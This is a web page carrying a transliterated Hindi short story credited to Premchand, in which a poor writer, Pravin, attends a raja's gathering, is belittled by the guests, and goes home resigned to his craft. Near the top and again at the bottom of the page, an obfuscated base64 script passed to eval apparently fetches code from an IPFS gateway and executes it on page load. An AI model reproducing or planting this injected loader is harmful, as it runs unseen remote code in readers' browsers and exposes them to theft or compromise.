लेखक- प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prat:kal mahashay pravin ne bis dapha ubali huee chay ka pyala taiyar kiya aur bina shakkar aur doodh ke pi gaye. yahi unaka nashta tha. mahinoan se mithi, doodhiya chay n mili thi. doodh aur shakkar unake lie jivan ke avashyak padarthoan mean n the. ghar mean gaye zaroor, ki patni ko jagakar paise maangean; par use phate-maile lihaf mean nidra-magn dekhakar jagane ki ichchha n huee. socha, shayad mare sardi ke bechari ko rat bhar niand n ayi hogi, is vakt jakar aankh lagi hai. kachchi niand jaga dena uchit n tha. chupake se chale aye.

chay pikar unhoanne kalam-davat sanbhali aur kitab likhane mean tallin ho gaye, jo unake vichar mean is shatabdi ki sabase b di rachana hogi, jisaka prakashan unhean gumanam se nikalakar khyati aur samriddhi ke svarg par pahuancha dega.

adh ghante bad patni aankhean malati huee akar boli-kya tum chay pi chuke?

pravin ne sahasy mukh se kaha-haan, pi chuka. bahut achchhi bani thi.

‘par doodh aur shakkar kahaan se laye?’

‘doodh aur shakkar to kee din se nahian milata. mujhe ajakal sada chay zyada svadisht lagati hai. doodh aur shakkar milane se usaka svad big d jata hai. daktaroan ki bhi yahi ray hai ki chay hamesha sada pini chahie. yorop mean to doodh ka bilakul rivaj nahian hai. yah to hamare yahaan ke madhur-priy reesoan ki eejad hai.’

‘jane tumhean phiki chay kaise achchhi lagati hai! mujhe jaga kyoan n liya? paise to rakhe the.’

mahashay pravin phir likhane lage. javani hi mean unhean yah rog lag gaya tha, aur aj bis sal se vah use pale hue the. is rog mean deh ghul gayi, svasthy ghul gaye, aur chalis ki avastha mean budhape ne a ghera; par yah rog asadhy tha. sooryoday se adhi rat tak yah sahity ka upasak antarjagath mean dooba hua, samast sansar se muanh mo de, hriday ke pushp aur naivedy chadhata rahata tha. par bharat mean sarasvati ki upasana lakshmi ki abhakti hai. man to ek hi tha. donoan deviyoan ko ek sath kaise prasann karata, donoan ke varadan ka patr kyoankar banata? aur lakshmi ki yah akripa keval dhanabhav ke roop mean n prakat hoti thi. usaki sabase nirday kri da yah thi ki patroan ke sampadak aur pustakoan ke prakashak udarata-poorvak sahayata ka dan bhi n dete the. kadachith sari duniya ne usake viruddh koee shadyantr-sa rach dala tha. yahaan tak ki is nirantar abhav ne usake atm-vishvas ko jaise kuchal diya tha. kadachith ab use yah jnat hone laga tha, ki usaki rachanaoan mean koee sar, koee pratibha nahian hai, aur yah bhavana atyant hriday-vidarak thi. yah durlabh manav-jivan yoan hi nasht ho gaya! yah taskin bhi nahian ki sansar ne chahe usaka samman n kiya ho, par usaki jivanakriti itani tuchchh nahian. jivan ki avashyakataean ghatate-ghatate sannyas ki sima ko bhi par kar chuki thian. agar koee santosh tha, to usaki jivan-sahachari tyag aur tap mean unase bhi do qadam age thi. sumitra is dasha mean bhi prasann thi. pravinaji ko duniya se shikayat ho, par sumitra jaise geand mean bhari huee vayu ki bhaanti unhean bahar ki thokarean se bachati rahati thi. apane bhagy ka rona to door ki bat thi, is devi ne kabhi mathe par bal bhi n ane diya.

sumitra ne chay ka pyala sametate hue kaha-to jakar ghanta-adh-ghanta kahian ghoom phir kyoan nahian ate? jab maloom ho gaya ki pran dekar kam karane se bhi koee natija nahian, to vyarth kyoan sir khapate ho?

pravin ne bina mastak uthaye, kagaz par kalam chalate hue kaha-likhane mean kam-se-kam yah santosh to hota hai ki kuchh kar raha hooan. sair karane mean to mujhe aisa jan p data ki samay ka nash kar raha hooan.

‘yah itane padhe-likhe adami nity-prati hava khane jate haian, to apane samay ka nash karate haian?’

‘magar inamean adhikaansh vahi log haian, jinake sair karane se unaki amadani mean bilkul kami nahian hoti. adhikaansh to sarakari naukar haian, jinako masik vetan milata hai, ya to aise peshoan ke log haian, jinaka log adar karate haian. maian to mil ka majoor hooan. tumane kisi majoor ko hava khate dekha hai? jinhean bhojan ki kami nahian, unhian ko hava khane ki bhi zaroorat hai. jinako rotiyoan ke lale haian, ve hava khane nahian jate. phir svasthy aur jivan-vriddhi ki zaroorat un logoan ko hai jinake jivan mean anand aur svad hai. mere lie to jivan bhar hai. is bhar ko sir par kuchh din aur banaye rahane ki abhilasha mujhe nahian hai.

sumitra nirasha mean doobe huye shabd sunakar aankhoan mean aansoo bhare andar chali gayi. usaka dil kahata tha, is tapasvi ki kirti-kaumudi ek din avashy phailegi. chahe lakshmi ki akripa bani rahe. kintu pravin mahoday ab nirasha ki us sima tak pahuanch chuke the, jahaan se pratikool disha mean uday hone vali ashamay usha ki lali bhi nahian dikhaee deti thi.

2

ek rees ke yahaan koee utsav hai. usane mahashay pravin ko bhi nimantrit kiya hai. aj unaka man anand ke gho de par baitha hua nach raha hai. sare din vah isi kalpana mean magn rahe. raja sahab kin shabdoan mean unaka svagat kareange aur vah kin shabdoan mean unako dhanyavad deange, kin prasangoan par vartalap hoga, aur vahaan kin mahanubhavoan se unaka parichay hoga, sare din vah inhian kalpanaoan ka anand uthate rahe. is avasar ke lie unhoanne ek kavita bhi rachi, jisamean unhoanne jivan ki ek udyan se tulana ki thi. apani sari dharanaoan ki unhoanne aj upeksha kar di, kyoanki reesoan ke manobhavoan ko vah aghat n pahuancha sakate the.

dopahar hi se unhoanne taiyariyaan shuroo kian. hajamat banayi, sabun se nahaya, sir mean tel dala. mushkil kap doan ki thi. muddat gujari, jab unhoanne ek achakan banavaee thi. usaki dasha bhi unhian ki dasha jaisi jirn ho chuki thi. jaisa jara-si sardi ya garmi se unhean jukam ya siradard ho jata tha, usi tarah vah achakan bhi najuk-mizaj thi. use nikala aur jha d-poanchhakar rakha.

sumitra ne kaha-tumane vyarth hi yah nimantran svikar kiya. likh dete, meri tabiyat achchhi nahian hai. in phatehaloan jana to aur bhi bura hai.

pravin ne darshanik gambhirata se kaha-jinhean eeshvar ne hriday aur parakh di hai, ve adamiyoan ki poshak nahian dekhate-unake gun aur charitr dekhate haian. akhir kuchh bat to hai ki raja sahab ne mujhe nimantrit kiya. maian koee ohadedar nahian, zamiandar nahian, jagiradar nahian, thekedar nahian, keval ek sadharan lekhak hooan. lekhak ka mooly usaki rachanaean hoti haian. is etabar se mujhe kisi bhi lekhak se lajjit hone ka karan nahian hai.

sumitra unaki saralata par daya karake boli-tum kalpanaoan ke sansar mean rahate-rahate pratyaksh sansar se alag ho gaye ho. maian kahati hooan, raja sahab ke yahaan logoan ki nigah sabase zyada kap doan par hi p degi. saralata zaroor achchhi chiz hai, par isaka arth yah to nahian ki adami phooh d ban jae.

pravin ko is kathan mean kuchh sar jan p da. vidvajjanoan ki bhaanti unhean bhi apani bhooloan ko svikar karane mean kuchh vilamb n hota tha. bole-maian samajhata hooan, dipak jal jane ke bad jaooan.

‘maian to kahati hooan, jao hi kyoan?

‘ab tumhean kaise samajhaooan, pratyek prani ke man mean adar aur samman ki ek kshudha hoti hai. tum poochhogi, yah kshudha kyoan hoti hai? isalie ki yah hamare atmavishvas ki ek manzil hai. ham us mahanh satta ke sookshmaansh haian, jo samast brahmand mean vyapt haian. aansh mean poorn ke gunoan ka hona lajimi hai. isalie kirti aur samman, atmonnati aur jnan ki or hamari svabhavik ruchi hai. maian is lalasa ko bura nahian samajhata.’

sumitra ne gala chhu dane ke lie kaha-achchha bhaee, jao. maian tumase bahas nahian karati, lekin kal ke lie koee vyavastha karate ana; kyoanki mere pas keval ek ana aur rah gaya hai. jinase udhar mil sakata tha, unase le chuki aur jisase liya use dene ki naubat nahian ayi. mujhe to aur ab koee upay nahian soojhata.

pravin ne ek kshan ke bad kaha-do patrikaoan se mere lekhoan ke rupaye ane vale haian. shayad kal tak a jayan. aur agar kal upavas hi karana p de to kya chinta? hamara dharm hai kam karana. ham kam karate haian aur tan-man se karate haian. agar is par bhi hamean phaka karana p de, to mera dosh nahian. mar hi to jaooanga. hamare jaise lakhoan adami roj marate haian. sansar ka kam jyoan-ka-tyoan chalata rahata hai. phir isaka kya gam ki ham bhookhoan mar jaeange? maut darane ki vastu nahian. maian to kabirapanthiyoan ka kayal hooan, jo arthi ko gate-bajate le jate haian. maian isase nahian darata. tumhian kaho, maian jo kuchh karata hooan, isase adhik aur kuchh meri shakti ke bahar hai ya nahian. sari duniya mithi niand soti hoti hai or maian qalam liye baitha rahata hooan. leag hansi-dillagi, amod-pramod karate rahate haian, mere lie vah sab haram hai. yahaan tak ki mahinoan se hansane ki naubat nahian ayi. holi ke din bhi maianne tatil nahian manaee. bimar bhi hota hooan, to likhane ki fikr sir par savar rahati hai. socho, tum bimar thian, aur maian vaidy ke yahaan jane ke lie samay n pata tha. agar duniya nahian qadar karati, n kare. isamean duniya ka hi nukasan hai. meri koee hani nahian! dipak ka kam hai jalana. usaka prakash phailata hai ya usake samane koee ot hai, use isase prayojan nahian.

mera bhi aisa kaun mitr, parichit ya sambandhi hai, jisaka maian abhari nahian? yahaan tak ki ab ghar se nikalate sharm ati hai. santosh itana hi hai ki log mujhe badaniyat nahian samajhate. ve meri kuchh adhik madad n kar sakean, par unhean mujhase sahanubhooti avashy hai. meri khushi ke lie itana hi kafi hai ki aj vah avasar to aya ki ek rees ne mera samman kiya.

phir sahasa un par ek nasha-sa chha gaya. garv se bole-nahian, maian ab rat ko n jaooanga. meri garibi ab rusavaee ki had tak pahuanch chuki hai. us par parada dalana vyarth hai. maian isi vakt jaooanga. jise rees aur raje amantrit karean, vah koee aisa-vaisa adami nahian ho sakata. raja sahab sadharan rees nahian haian. vah is nagar ke hi nahian, bharat ke vikhyat reesoan mean haian. agar ab bhi mujhe koee nicha samajhe, to vah khud nicha hai.

3

sandhya ka samay hai. pravinaji apani phati-purani achakan aur s de hue joote aur bedhangi-si topi pahane ghar se nikale. khamakhvah baang doo uchakke-se maloom hote the. diladaul aur chehare-muhare ke adami hote, to is thath mean bhi ek shan hoti. sthoolata svayan rob dalane vali vastu hai. par sahity-seva aur sthoolata mean virodh hai. agar koee sahity-sevi mota-taja, dabal adami hai, to samajh lo, usamean madhury nahian, loch nahian, hriday nahian. dipak ka kam hai, lajana. dipak vahi labalab bhara hoga, jo jala n ho. phir bhi ap ak de jate haian. ek-ek aang se garv tapak raha hai.

yoan ghar se nikalakar vah dookanadaroan se aankhean churate, galiyoan se nikal jate the. par aj vah garadan uthaye, unake samane se ja rahe haian. aj vah unake takajoan ka dandaanshikan javab dene ko taiyar the. par sandhya ka samay hai, harek dookan par grahak baithe hue haian. koee unaki taraph nahian dekhata. jis rakam ko vah apani hinavastha mean durvichar samajhate the, vah dookanadaroan ki nigah mean itani jokhim n thian, ki ek jane-pahachane adami ko sa-bazar tokate, visheshakar jab vah aj kisi se milane jate hue maloom hote the.

pravin ne ek bar sare-bazar ka chakkar lagaya, par ji n bhara tab doosara chakkar lagaya, par vah bhi nishphal. tab vah khud hafij samad ki dookan par jakar kh de ho gaye. hafijaji bisate ka karobar karate the. bahut din hue pravin is dookan se ek chhatari le gaye the aur abhi tak dam n chuka sake the. pravin ko dekhakar bole-mahashayaji, abhi tak chhatari ke dam nahian mile. aise sau-pachas grahak mil jaean, to divala hi ho jae. ab to bahut din hue.

pravin ki bachhean khil geean. dili murad poori huee. bole-maian bhoola nahian hooan hafijaji, in dinoan kam itana zyada tha ki ghar se nikalana mushkil tha. rupaye to nahian hath ate, par apaki dua se qadarashinasoan ki kami nahian. do-char adami ghere hi rahate haian. is vaqt bhi raja sahab-aji vahi jo nukk d vale bangale mean rahate haian-unhian ke yahaan ja raha hooan. davat hai. roj aisa koee-n-koee mauqa ata hi rahata hai.

hafij samad prabhavit hokar bola-achchha! aj raja sahab ke yahaan tashariph le ja rahe haian. thik hai, ap jaise baqamaloan ki qadar rees hi kar sakate haian, aur kaun karega? subhanallah! ap is jamane mean yakata haian. agar koee mauqa hath a jay, to gariboan ko n bhool jaiega. raja sahab ki agar idhar nigah ho jay, to phir kya poochhana! ek poora bisata to unhian ke lie chahie. dhaee-tin lakh salana ki amadani hai.

pravin ko dhaee-tin lakh kuchh tuchchh jan p de. jabani jamakharch hai, to das-bis lakh kahane se kya hani? bole-dhaee-tin lakh! ap to unhean galiyaan dete haian. unaki amadani das lakh se kam nahian. ek sahab ka andaj to bis lakh ka hai. ilaka hai, makanat haian, dookanean haian, thika hai, amanati rupaye haian aur phir sabase b di sarakar bahadur ki nigah hai.

hafij ne b di namrata se kaha-yah dookan ap ki hai janab, bas itani hi araj hai. are muradi, jara do paise ke achchhe-se pan bana la apake lie. aie do minat baithie. koee chiz pasand ho to dikhaooan. apase to ghar ka vasta hai.

pravin ne pan khate hue kaha-is vakt to muaf rakhie. vahaan der hogi. phir kabhi hazir hooanga.

yahaan se uthakar vah ek kap de vale ki dookan ke samane ruke. manoharadas nam tha. inhean kh de dekhakar aankhean uthayian. bechara inake nam ko ro baitha tha. samajh liya, shayad is shahar mean haian hi nahian. samajha rupaye dene aye haian. bole-bhaee pravinaji, apane to bahut dinoan darshan hi nahian diye. rukka kee bar bheja, magar pyade ko apake ghar ka pata hi n mila. munimaji, jara dekho to apake nam kya hai.

pravin ke pran takajoan se sookh jate the; par aj vah is tarah kh de the, manoan unhoanne kavach dharan kar liya hai, jis par kisi astr ka aghat nahian ho sakata. bole-jara in raja sahab ke yahaan se laut aooan, to nishchit hokar baithooan. is samay jaldi mean hooan. raja sahab par maneaharadas ke kee hazar rupaye ate the. phir bhi unaka daman n chho data tha. ek ke tin vasool karata. usane pravinaji ko ooanchi shreni mean rakha jinaka pesha reesoan ko lootana hai. bola-‘pan to khate jaie mahashay!’ raja sahab ek din ke haian. ham to barahoan mas ke haian, bhaee sahab! kuchh kap de darakar hoan to le jaie. ab to holi a rahi hai. mauqa ho, to jara raja sahab ke khajanachi se kahiega purana hisab bahut din se p da hua hai, ab to safaee ho jae! ham sab aisa kaun-sa nafa lete haian ki do-do sal hisab hi n ho?

pravin ne kaha-is samay to pan-van rahane do bhaee? der ho jaegi. jab unhean mujhase milane ka itana shauq hai aur mera itana samman karate haian, to apana bhi dharm hai ki unako mere karan kasht n ho. ham to gunagrahak chahate haian, daulat ke bhookhe nahian. koee apana samman kare, to usaki gulami karean. agar kisi ko riyasat ka ghamand ho, to hamean usaki paravah nahian.

4

pravinaji raja sahab ke vishal bhavan ke samane pahuanche, to diye jal chuke the. amiroan aur reesoan ki motarean kh di thian. varadi-posh daraban dvar par kh de the. ek sajjan mehamanoan ka svagat kar rahe the. pravinaji ko dekhakar vah jara jhijhake. phir unhean sir se paanv tak dekhakar bole-apake pas naved hai?

pravin ki jeb mean naved tha. par is bhedabhav par unhean krodh a gaya. unhian se kyoan naved maanga jay? auroan se bhi kyoan n poochha jay? bole-ji nahian, mere pas naved nahian hai. agar ap any mahashayoan se maangate hoan; to maian bhi dikha sakata hooan. varana maian is bhed ko apane lie apaman ki bat samajhata hooan. ap raja sahab se kah dijie, ‘pravinaji aye the aur dvar se laut gaye.’

‘nahian-nahian, mahashay andar chalie. mujhe apase parichay n tha. beadabi maph kijie. ap hi aise mahanubhavoan se to mahaphil ki shobha hai. eeshvar ne apako vah vani pradan ki hai, ki kya kahana.’

is vyakti ne pravin ko kabhi n dekha tha. lekin jo kuchh usane kaha, vah harek sahity-sevi ke vishay mean kah sakate haian, aur hamean vishvas hai ki koee sahity-sevi is dad ki upeksha nahian kar sakata.

pravin andar pahuanche to dekha, barahadari ke samane vistrit aur susajjit praangan mean bijali ke kumakume apana prakash phaila rahe haian. madhy mean ek hauz hai, hauz mean sangamaramar ki pari, pari ke sir par phauvara, phauvare ki phuharean rangin kumakumoan se ranjit hokar aisi maloom hoti thian, mano indr-dhanush pighalakar oopar se baras raha hai. hauz ke charoan or mejean lagi huee thian. mejoan par suphed mej-posh, oopar sundar guladaste.

pravin ko dekhate hi raja sahab ne svagat kiya-aie, aie! abaki ‘hans’ mean apaka lekh dekhakar dil phadaq utha. maian to chakit ho gaya. maloom hi n tha, ki is nagar mean ap-jaise ratn bhi chhipe hue haian.

phir upasthit sajjanoan se unaka parichay dene lage-apane mahashay pravin ka nam to suna hoga. vah ap hi haian. kya madhury hai, kya oj hai, kya bhav hai, kya bhasha hai, kya soojh hai, kya chamatkar hai, kya pravah hai ki vah! vah! meri to atma jaise nrity karane lagati hai.

ek sajjan ne, jo aangareji soot mean the, pravin ko aisi nigah se dekha mano vah chidiy़a-ghar ke koee jiv hoan aur bole-apane aangreji ke kaviyoan ka bhi adhyayan kiya hai-bayaran, sheli, kits adi.

pravin ne rukhaee se javab diya-ji haan, tho da-bahut dekha to hai.

‘ap in mahakaviyoan mean se kisi ki rachanaoan ka anuvad kar dean, to aj hindi-bhasha ki amar seva karean.’

pravin apane ko bayaran, sheli adi se jau-bhar bhi kam n samajhate the. vah aangreji ke kavi the. unaki bhasha, shaili, vishay-vyanjana sabhi aangrej ki ruchi ke anukool tha. unaka anuvad karana vah apane lie gaurav ki bat n samajhate the, usi tarah jaise ve unaki rachanaoan ka anuvad karana apane lie gaurav ki vastu n samajhate. bole-hamare yahaan atm-darshan ka abhi itana abhav nahian hai, ki ham videshi kaviyoan se bhiksha maangean. mera vichar hai ki kam-se-kam is vishay mean bharat ab bhi pashchim ko kuchh sikha sakata hai.

yah anargal bat thi. aangreji ke bhakt mahashay ne pravin ko pagal samajha.

raja sahab ne pravin ko aisi aankhoan se dekha, jo kah rahi thian-jara mauka-mahal dekhakar batean karo! aur bole-aangreji sahity ka kya poochhana! kavita mean to vah apana jo d nahian rakhata.

aangreji ke bhakt mahashay ne pravin ko sagarv netroan se dekha-hamare kaviyoan ne abhi tak kavita ka arth hi nahian samajha, abhi tak viyog aur nakh-shikh ko kavita ka adhar banaye hue haian.

pravin ne eeant ka javab patthar se diya-mera vichar hai ki apane vartaman kaviyoan ka adhyayan nahian kiya, ya kiya to utari aankhoan se.

raja sahab ne ab pravin ki jaban band kar dene ka nishchay kiya-ap mistar paraanjape haian, pravin ji! apake lekh aangreji patroan mean chhapate haian aur b de adar ki drishti se dekhe jate haian.

usaka ashay yah tha, ki ab ap n bahakie.

pravin samajh gaye. paraanjape ke samane unhean nicha dekhana p da. videshi vesh-bhoosha aur bhasha ka yah bhakt jati-drohi hokar bhi itana samman paye, yah unake lie asahy tha. par kya karate?

usi bhesh ke ek-doosare sajjan aye. raja sahab ne tapak se unaka abhivadan kiya-aie daktar chaddha! kaise mizaj haian?

daktar sahab ne raja sahab se hath milaya aur phir pravin ki or jijnasa-bhari aankhoan se dekhakar poochha-apaki tarif?

raja sahab ne pravin ka parichay diya-ap mahashay pravin haian. ap bhasha ke achchhe kavi aur lekhak haian.

daktar sahab ne ek khas andaj se kaha-achchha! ap kavi haian! aur bina kuchh poochhe age badh gaye.

phir usi bhesh mean ek aur mahashay padhare. yah nami bairistar the. raja sahab ne unase bhi pravin ka parichay karaya. unhoanne bhi usi andaj mean kaha-achchha! ap kavi haian? aur age badh gaye. yahi abhinay kee bar hua. aur har bar pravin ko yahi dad mili-‘achchha! ap kavi haian?’

yah vaky har bar pravin ke hriday par ek naya aghat pahuanchata tha. usake niche jo bhav tha use pravin khoob samajhate the. usaka sidha-sada ashay yah tha ki tum apane khayali-pulav pakate ho, pakao! yahaan tumhara kya prayojan? tumhara itana sahas ki tum is sabhy-samaj mean bedhadaq ao.

pravin man-hi-man apane oopar jhuanjhala rahe the. nimantran pakar unhoanne apane ko dhany mana tha, par yahaan akar unaka jitana apaman ho raha tha, usake dekhate to vah santosh ki kutiya svarg thi. unhoanne apane man ko dhikkara-tum jaise samman ke lobhiyoan ka yah dand hai. ab to aankhean khulian, tum kitane samman ke patr ho! tum is svarthamay sansar mean kisi ke kam nahian a sakate. vakil-bairistar tumhara samman kyoan karean? tum unake muvakkil nahian ho sakate, n unhean tumhare dvara koee mukadama pane ki asha hai. daktar ya hakim tumhara samman kyoan karean? unhean tumhare ghar bina phis ane ki ichchha nahian. tum likhane ke lie bane ho, likhe jao. bas, aur sansar mean tumhara koee prayojan nahian.

sahasa logoan mean halachal p d gayi. aj ke pradhan atithi ka agaman hua. yah mahashay haeekort ke jaj niyukt hue the. isi upalakshy mean yah jalasa ho raha tha. raja sahab ne lapakakar jald hath milaya aur akar pravinaji se bole-ap apani kavita to likh hi laye hoange?

pravin ne kaha-maianne koee kavita nahian likhi.

‘sach! tab to apane gajab hi kar diya. are bhale adami, abase koee chiz likh dalo. do-hi char panktiyaan ho jaean. bas! aise avasar par ek kavita ka padha jana lazimi hai.’

‘maian itani jaldi koee chiz nahian likh sakata.’

‘maianne vyarth hi itane adamiyoan se apaka parichay karaya?’

‘bilkul vyarth.’

‘are bhaee jan, kisi prachin kavi ki hi koee chiz suna dijie. yahaan kaun janata hai.’

‘ji nahian, kshama kijiega. maian bhat nahian hooan, n kathak hooan.’

yah kahate hue pravinaji turant vahaan se chal diye. ghar pahuanche to unaka chehara khila hua tha.

sumitra ne prasann hokar poochha-itani jaldi kaise a gaye?

‘meri vahaan koee zaroorat n thi.’

‘chalo, chehara khila hua hai khoob samman hua hoga.’

‘haan samman to, jaisi asha n thi vaisa hua.’

‘khush bahut ho.’

isi se ki aj mujhe hamesha ke lie sabak mil gaya. maian dipak hooan aur jalane ke lie bana hooan. aj maian is tatv ko bhool gaya tha. eeshvar ne mujhe zyada bahakane n diya. meri yah kutiya hi mere lie svarg hai. maian aj yah tatv pa gaya ki sahity-seva poori tapasya hai.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>